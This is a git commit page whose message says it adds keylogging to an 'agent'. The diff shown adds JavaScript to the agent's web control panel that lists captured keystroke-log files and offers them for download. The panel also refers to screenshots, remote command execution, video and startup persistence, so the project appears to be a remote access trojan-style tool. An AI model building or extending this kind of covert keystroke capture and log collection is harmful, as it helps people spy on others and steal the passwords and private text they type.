Add keylogging functionality to the agent. Implement keylog start/stop, file listing, and download API endpoints. Update web interface to display keystroke logs and allow file downloads.
This commit is contained in:
@@ -8,6 +8,8 @@
|
||||
const shotGallery = document.getElementById("shot-gallery");
|
||||
const execOut = document.getElementById("exec-out");
|
||||
const execMeta = document.getElementById("exec-meta");
|
||||
const logMeta = document.getElementById("log-meta");
|
||||
const logRows = document.getElementById("log-rows");
|
||||
const startupState = document.getElementById("startup-state");
|
||||
const startupAdd = document.getElementById("startup-add");
|
||||
const startupRemove = document.getElementById("startup-remove");
|
||||
@@ -290,6 +292,31 @@
|
||||
field.value = "";
|
||||
}
|
||||
|
||||
async function listKeylogs() {
|
||||
const res = await api("/api/v1/keylog");
|
||||
const data = await res.json();
|
||||
const files = data.files || [];
|
||||
logMeta.textContent = `${files.length} files · ${data.directory || ""}`;
|
||||
logRows.replaceChildren();
|
||||
for (const file of files) {
|
||||
const tr = document.createElement("tr");
|
||||
const name = document.createElement("td");
|
||||
name.textContent = file.name;
|
||||
const size = document.createElement("td");
|
||||
size.textContent = formatBytes(file.size || 0);
|
||||
const modified = document.createElement("td");
|
||||
modified.textContent = file.modified_time ? new Date(file.modified_time).toLocaleString() : "";
|
||||
const action = document.createElement("td");
|
||||
const link = document.createElement("a");
|
||||
link.href = `/api/v1/keylog/download?file=${encodeURIComponent(file.name)}`;
|
||||
link.download = file.name;
|
||||
link.textContent = "Download";
|
||||
action.append(link);
|
||||
tr.append(name, size, modified, action);
|
||||
logRows.append(tr);
|
||||
}
|
||||
}
|
||||
|
||||
async function runCommand() {
|
||||
const command = document.getElementById("exec-command").value.trim();
|
||||
const timeout = Number(document.getElementById("exec-timeout").value);
|
||||
@@ -314,6 +341,9 @@
|
||||
if (button.dataset.tab !== "video") {
|
||||
stopVideo();
|
||||
}
|
||||
if (button.dataset.tab === "logs") {
|
||||
listKeylogs().catch((err) => showError(err.message));
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
@@ -358,6 +388,9 @@
|
||||
document.getElementById("exec-run").addEventListener("click", () => {
|
||||
runCommand().catch((err) => showError(err.message));
|
||||
});
|
||||
document.getElementById("log-refresh").addEventListener("click", () => {
|
||||
listKeylogs().catch((err) => showError(err.message));
|
||||
});
|
||||
|
||||
Promise.all([loadHealth(), loadStatus(), listFiles("")]).catch((err) => showError(err.message));
|
||||
})();
|
||||
|
||||
Reference in New Issue
Block a user